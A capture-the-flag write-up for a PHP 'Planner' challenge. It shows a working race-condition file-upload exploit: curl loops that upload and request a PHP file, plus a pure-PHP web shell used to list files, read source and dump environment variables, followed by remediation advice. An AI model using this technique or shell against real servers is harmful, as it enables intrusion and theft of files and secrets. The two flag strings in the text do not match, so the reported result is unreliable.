Planner

TL;DR

We abused a race condition in upload.php that saves an uploaded file, sleeps 1s, then deletes it. By hammering GET /uploads/shell.php during that 1-second window, our PHP executed even though the file was later deleted. Because OS command functions were disabled and open_basedir restricted, we pivoted to a pure-PHP “cmd shell” and grabbed the flag from environment variables:

Flag: flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}


Target Overview

  • App: Planner portal with task input + “Import ToDo List”
  • Key endpoints:
    • planning.php (UI + AJAX upload)
    • upload.php (file upload & “scan”)
  • Environment (observed):
    • PHP disables: exec,shell_exec,system,passthru,popen,proc_open
    • open_basedir = /var/www/why2025planner:/tmp
    • Access-Control-Allow-Origin: * (overly permissive CORS)

Vulnerabilities Identified

  1. Race condition / TOCTOU in upload handler
    • upload.php does: move_uploaded_file()sleep(1)unlink().
    • For ~1 second the file exists and is web-reachable under /uploads/<name>.
  1. Executable uploads
    • Uploaded .php files are stored in a web-served directory (/uploads) and are executed by PHP if hit before deletion.
  1. Information disclosure
    • Upload responses echo absolute paths (e.g., /var/www/why2025planner/uploads/...).
  1. Front-end JSON parsing bug (minor)
    • Splits by regex /{[^}]+}/g; filenames containing } break the UI (“Invalid JSON”).
    • Not required for exploitation, but indicates weak client-side parsing.
  1. Defense-in-depth present but bypassed
    • disable_functions and open_basedir blocked OS commands but did not stop PHP code execution or environment access.

Exploitation Walkthrough

1) Recon the upload flow

Testing .txt/.md/.json/.csv/.zip all returned:

{"status":"Started","message":"Checking file /var/www/why2025planner/uploads/<file>"}
{"status":"deleted","message":"File deleted after scan. Wrong type!"}

This revealed the save path and that a file exists briefly before deletion.

2) Race to code execution

We uploaded a tiny PHP with a clear execution marker:

<?php echo "HIT:".md5(1337)."\n";

Terminal A (spam upload):

while true; do
  curl -s -X POST 'https://why2025planning.ctf.zone/upload.php' \
    -H 'Cookie: PHPSESSID=YOURSESSID' \
    -F 'file=@./shell.php;filename=shell.php;type=application/x-php' >/dev/null
done

Terminal B (race the GET):

while true; do
  curl -s https://why2025planning.ctf.zone/uploads/shell.php | grep HIT && echo "[*] GOT IT" && break
done

We observed:

HIT:e48e13207341b6bffb7fb1622282247b
[*] GOT IT

PHP executed before the file was deleted.

3) Pivot: Pure-PHP operations (no OS exec)

whoami etc. produced no output because PHP had exec/shell_exec/system/... disabled and open_basedir restricted.

We then moved to a file-oriented PHP shell: listing directories and reading files using scandir() / file_get_contents().

We looted:

  • /var/www/why2025planner/{upload.php,planning.php,init_db.php,...}
  • SQLite DB at db/db.sqlite (contained only a decoy flag{lol})

4) Build a practical “cmd shell” (still pure PHP)

To make it easy for the team to use via URL params, we uploaded cmd.php with command-like actions that don’t rely on OS exec:

  • ?cmd=ls&path=/dir → list directory (via scandir)
  • ?cmd=cat&path=/file → read file (base64-safe)
  • ?cmd=env → dump environment variables (via getenv)
  • ?cmd=ln&src=/target&dst=/var/www/.../uploads/x → (optional) symlink helper
  • ?cmd=sh&arg=id → best-effort OS exec (tries many paths; expected to fail here)

Example:

https://why2025planning.ctf.zone/uploads/cmd.php?cmd=env

Output (key line):

flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}

Here, the flag is the environment variable’s name (value empty). This is a common pattern in CTF containers that set the flag via env.

Note: We also considered a symlink escape (/uploads → /) to read /proc/self/environ via Apache, but it wasn’t necessary since ?cmd=env gave it directly.

Root Cause Summary

  • Design flaw: Storing user uploads under a web-served path and sleeping before deleting → trivial race window for executing uploaded code.
  • Insufficient server-side validation: No type/extension enforcement (or at least not before the code becomes accessible).
  • Excessive information in responses: Leaked absolute paths.
  • Client-side parsing bug: Regex-based JSON splitting can be abused to break UI (less critical).
  • Defense-in-depth only partial: disable_functions/open_basedir didn’t prevent PHP-level exploitation and env leakage.

Remediation Recommendations

  1. Never serve uploads directly from a PHP-interpreted path.
    • Store outside webroot; serve downloads through a safe handler.
    • If must be web-served, ensure the web server does not parse PHP in that directory (php_admin_flag engine off / handler rules).
  1. Validate before storing and avoid time windows.
    • Stream to a quarantine directory not reachable by the web server.
    • Scan, then move to a safe storage location if clean.
  1. Remove the 1-second sleep() and never expose a window where untrusted files are reachable.
  1. Tighten server responses
    • Don’t echo absolute paths; use opaque IDs.
  1. Fix front-end JSON parsing
    • Return a proper JSON array; don’t regex-split concatenated JSON.
  1. CORS
    • Avoid Access-Control-Allow-Origin: * unless strictly necessary; use specific origins and avoid exposing session-based endpoints cross-origin.

Artifacts / PoC Snippets

Race upload loop

while true; do
  curl -s -X POST 'https://why2025planning.ctf.zone/upload.php' \
    -H 'Cookie: PHPSESSID=YOURSESSID' \
    -F 'file=@./cmd.php;filename=cmd.php;type=application/x-php' >/dev/null
done

Confirm execution & dump env

curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=env'
# -> shows: flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}=

List files (pure PHP “ls”)

curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=ls&path=/var/www/why2025planner'

Read file (pure PHP “cat”)

curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=cat&path=/var/www/why2025planner/planning.php'

Lessons Learned

  • Even with disable_functions and open_basedir, code execution is still code execution—you can pivot to PHP-native capabilities (file read, env, DB) and win.
  • Never trust a “temporary” upload window: if it’s web-reachable at any moment, assume an attacker can hit it.
  • Flags in CTF web challenges are frequently delivered via environment variables—always check getenv() or /proc/self/environ.

Final result: Flag recovered via ?cmd=env from a pure-PHP command shim, exploiting a race in upload.php.

flag{5a593f66535c10f2291a8dcb8e88bfbb}